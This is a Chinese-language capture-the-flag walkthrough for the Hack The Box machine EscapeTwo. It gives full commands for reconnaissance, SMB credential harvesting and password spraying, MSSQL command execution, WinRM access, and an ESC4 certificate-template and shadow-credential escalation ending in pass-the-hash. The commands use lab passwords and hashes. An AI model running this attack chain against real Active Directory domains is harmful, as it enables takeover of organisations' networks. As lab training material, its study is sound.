目录
连接至HTB服务器并启动靶机
信息收集
使用rustscan对靶机TCP端口进行开放扫描
将靶机TCP开放端口号提取并保存
使用nmap对靶机TCP开放端口进行脚本、服务扫描
使用nmap对靶机TCP开放端口进行漏洞、系统扫描
使用nmap对靶机常用UDP端口进行开放扫描
使用nmap对靶机UDP开放端口进行脚本、服务扫描
使用smbmap枚举靶机SMB服务器共享
继续使用smbmap递归枚举`Accounting Department`共享
使用WPS打开该EXCEL文件
边界突破
使用netexec枚举靶机域内用户
使用netexec通过上述账户、密码列表进行密码喷洒
使用netexec测试这两个凭证是否可用
使用netexec通过MSSQL凭证对靶机进行目录遍历
使用netexec通过上述密码对靶机域内用户进行密码喷洒
使用evil-winrm通过上述凭证登录靶机
权限提升
使用netexec枚举靶机域内信息
使用BloodHound查看ryan用户的可传递控制对象
查看ca_svc用户信息
使用bloodyAD将ca_syc用户拥有者修改为ryan用户
使用impacket-dacledit将ryan用户对ca_svc用户的权限修改为完全控制
使用certipy-ad创建ca_svc用户影子证书
使用Certify枚举靶机域内证书模板
使用certipy-ad通过ca_svc哈希密码枚举靶机ADCS尝试发现该漏洞
使用certipy-ad通过ca_svc哈希密码重写该模板信息,使其符合攻击要求
使用certipy-ad请求一份Administrator用户符合模板要求的证书
使用certipy-ad借助pfx证书通过身份认证
使用impacket-psexec通过上述哈希凭证登录靶机
连接至HTB服务器并启动靶机
分配IP:10.10.16.22
靶机IP:10.10.11.51
靶机AD:sequel.htb
靶机DC:DC01.sequel.htb
- 已有凭证
账户:rose
密码:KxEPkKe6R8su
信息收集
使用rustscan对靶机TCP端口进行开放扫描
rustscan -a escapetwo.htb -r 1-65535 --ulimit 5000 | tee res
将靶机TCP开放端口号提取并保存
ports=$(grep ^[0-9] res | cut -d/ -f1 | paste -sd,)
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# grep ^[0-9] res | cut -d/ -f1 | paste -sd,
53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49689,49690,49693,49706,49722,49731,49814
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ports=$(grep ^[0-9] res | cut -d/ -f1 | paste -sd,)
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# echo $ports
53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49689,49690,49693,49706,49722,49731,49814
使用nmap对靶机TCP开放端口进行脚本、服务扫描
nmap -sT -p$ports -sCV -Pn escapetwo.htb
- 需要重点关注的服务和信息
AD域名:sequel.htb
53端口:Domain服务
88端口:Kerberos服务
389端口:LDAP服务
445端口:SMB服务
1433端口:SQL-Server服务
5985端口:Win-RM服务
使用nmap对靶机TCP开放端口进行漏洞、系统扫描
nmap -sT -p$ports --script=vuln -O -Pn escapetwo.htb
使用nmap对靶机常用UDP端口进行开放扫描
nmap -sU --top-ports 20 -Pn escapetwo.htb
使用nmap对靶机UDP开放端口进行脚本、服务扫描
nmap -sU -p53,123 -sCV -Pn escapetwo.htb
使用smbmap枚举靶机SMB服务器共享
smbmap -u 'rose' -p 'KxEPkKe6R8su' -H escapetwo.htb
继续使用smbmap递归枚举`Accounting Department`共享
smbmap -u 'rose' -p 'KxEPkKe6R8su' -H escapetwo.htb -r 'Accounting Department'
- 将`accounts.xlsx`文件下载到攻击机本地
smbmap -u 'rose' -p 'KxEPkKe6R8su' -H escapetwo.htb -r 'Accounting Department' --download './Accounting Department/accounts.xlsx'
使用WPS打开该EXCEL文件
- 由此可得四份密码,将其保存为列表另作他用
0fwz7Q4mSpurIt99
86LxLBMgEWaKUnBG
Md9Wlq1E5bZnVDVo
MSSQLP@ssw0rd!
cat << EOF > passwds.txt
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# cat << EOF > passwds.txt
heredoc> 0fwz7Q4mSpurIt99
86LxLBMgEWaKUnBG
Md9Wlq1E5bZnVDVo
MSSQLP@ssw0rd!
heredoc> EOF
边界突破
使用netexec枚举靶机域内用户
nxc ldap escapetwo.htb -d sequel.htb -u 'rose' -p 'KxEPkKe6R8su' --users
- 将用户名提取保存成列表
nxc ldap escapetwo.htb -d sequel.htb -u 'rose' -p 'KxEPkKe6R8su' --users | grep -A50 Username | tail -n+2 | awk '{print $5}' | tee names.txt
使用netexec通过上述账户、密码列表进行密码喷洒
nxc ldap escapetwo.htb -d sequel.htb -u names.txt -p passwds.txt --continue-on-success
账户:oscar
密码:86LxLBMgEWaKUnBG
- 除此之外,我还关注到sa账户密码带有mssql字样
账户:sa
密码:MSSQLP@ssw0rd!
使用netexec测试这两个凭证是否可用
nxc winrm escapetwo.htb -u 'oscar' -p '86LxLBMgEWaKUnBG'
nxc mssql escapetwo.htb -u 'sa' -p 'MSSQLP@ssw0rd!' --local-auth -X 'whoami'
使用netexec通过MSSQL凭证对靶机进行目录遍历
nxc mssql escapetwo.htb -u 'sa' -p 'MSSQLP@ssw0rd!' --local-auth -X 'dir "C:\SQL2019\ExpressAdv_ENU"'
- 在C:\SQL2019\ExpressAdv_ENU目录中可见sql-Configuration.INI文件
- 查看该文件内容
nxc mssql escapetwo.htb -u 'sa' -p 'MSSQLP@ssw0rd!' --local-auth -X 'type "C:\SQL2019\ExpressAdv_ENU\sql-Configuration.INI"'
- 获得一凭证
账户:SEQUEL\sql_svc
密码:WqSZAF6CysDQbGb3
使用netexec通过上述密码对靶机域内用户进行密码喷洒
nxc ldap escapetwo.htb -d sequel.htb -u names.txt -p 'WqSZAF6CysDQbGb3' --continue-on-success
- 测试这两个账户哪个可用于Win-RM登录
nxc winrm escapetwo.htb -d sequel.htb -u names2.txt -p 'WqSZAF6CysDQbGb3' --continue-on-success
使用evil-winrm通过上述凭证登录靶机
evil-winrm -i escapetwo.htb -u 'ryan' -p 'WqSZAF6CysDQbGb3'
- 在C:\Users\ryan\Desktop找到user.txt文件
权限提升
使用netexec枚举靶机域内信息
nxc ldap sequel.htb -d sequel.htb -u 'ryan' -p 'WqSZAF6CysDQbGb3' --dns-server 10.10.11.51 --bloodhound -c All
使用BloodHound查看ryan用户的可传递控制对象
- 由图表可见,ryan用户对ca_svc用户具有WriteOwner权限
查看ca_svc用户信息
net user ca_svc /domain
- 由输出可见,该用户属于Cert Publishers组
使用bloodyAD将ca_syc用户拥有者修改为ryan用户
bloodyAD -d escapetwo.htb --dc-ip 10.10.11.51 --dns 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3' set owner 'ca_svc' 'ryan'
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# bloodyAD -d escapetwo.htb --dc-ip 10.10.11.51 --dns 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3' set owner 'ca_svc' 'ryan'
[+] Old owner S-1-5-21-548670397-972687484-3496335370-512 is now replaced by ryan on ca_svc
使用impacket-dacledit将ryan用户对ca_svc用户的权限修改为完全控制
python3.11 dacledit.py -action 'write' -principal 'ryan' -target 'ca_svc' 'sequel.htb/ryan:WqSZAF6CysDQbGb3'
┌──(kali㉿kali)-[~/Desktop/temp]
└─$ python3.11 dacledit.py -action 'write' -principal 'ryan' -target 'ca_svc' 'sequel.htb/ryan:WqSZAF6CysDQbGb3'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies[*] DACL backed up to dacledit-20250205-014331.bak
[*] DACL modified successfully!
- 将本地时钟与靶机同步
sudo ntpdate escapetwo.htb
使用certipy-ad创建ca_svc用户影子证书
certipy-ad shadow auto -u 'ryan@sequel.htb' -p 'WqSZAF6CysDQbGb3' -account 'ca_svc' -target escapetwo.htb -dc-ip 10.10.11.51 -ns 10.10.11.51
- 与此同时获得该用户NTLM密码哈希
账户:ca_svc
密码哈希:3b181b914e7a9d5508ea1e20bc2b7fce
- 将Certify.exe上传至靶机
upload Certify.exe
使用Certify枚举靶机域内证书模板
.\Certify.exe find /domain:sequel.htb
<...SNIP...>
- 由输出可见,该模板对Domain Admins具有注册权利,而且Cert Publishers对该模板具有完全控制权限,因此恶意利用该模板即可获取管理员密码哈希
使用certipy-ad通过ca_svc哈希密码枚举靶机ADCS尝试发现该漏洞
certipy-ad find -u ca_svc@sequel.htb -hashes 3b181b914e7a9d5508ea1e20bc2b7fce -vulnerable -stdout
- 由末尾输出可见,利用该模板可导致ESC4漏洞攻击
使用certipy-ad通过ca_svc哈希密码重写该模板信息,使其符合攻击要求
certipy-ad template -u ca_svc@sequel.htb -hashes '3b181b914e7a9d5508ea1e20bc2b7fce' -k -template 'DunderMifflinAuthentication' -target DC01.sequel.htb -ns 10.10.11.51 -debug
使用certipy-ad请求一份Administrator用户符合模板要求的证书
certipy-ad req -u ca_svc@sequel.htb -hashes '3b181b914e7a9d5508ea1e20bc2b7fce' -ca sequel-DC01-CA -template 'DunderMifflinAuthentication' -upn Administrator@sequel.htb -target DC01.sequel.htb -ns 10.10.11.51 -dns 10.10.11.51 -dc-ip 10.10.11.51
- 这里尝试了很多次,需要在certipy-ad更新了模板后快速执行该命令才能成功
使用certipy-ad借助pfx证书通过身份认证
certipy-ad auth -pfx administrator_10.pfx
使用impacket-psexec通过上述哈希凭证登录靶机
impacket-psexec sequel.htb/administrator@10.10.11.51 -hashes 'aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ff'
- 在C:\Users\Administrator\Desktop目录下找到root.txt文件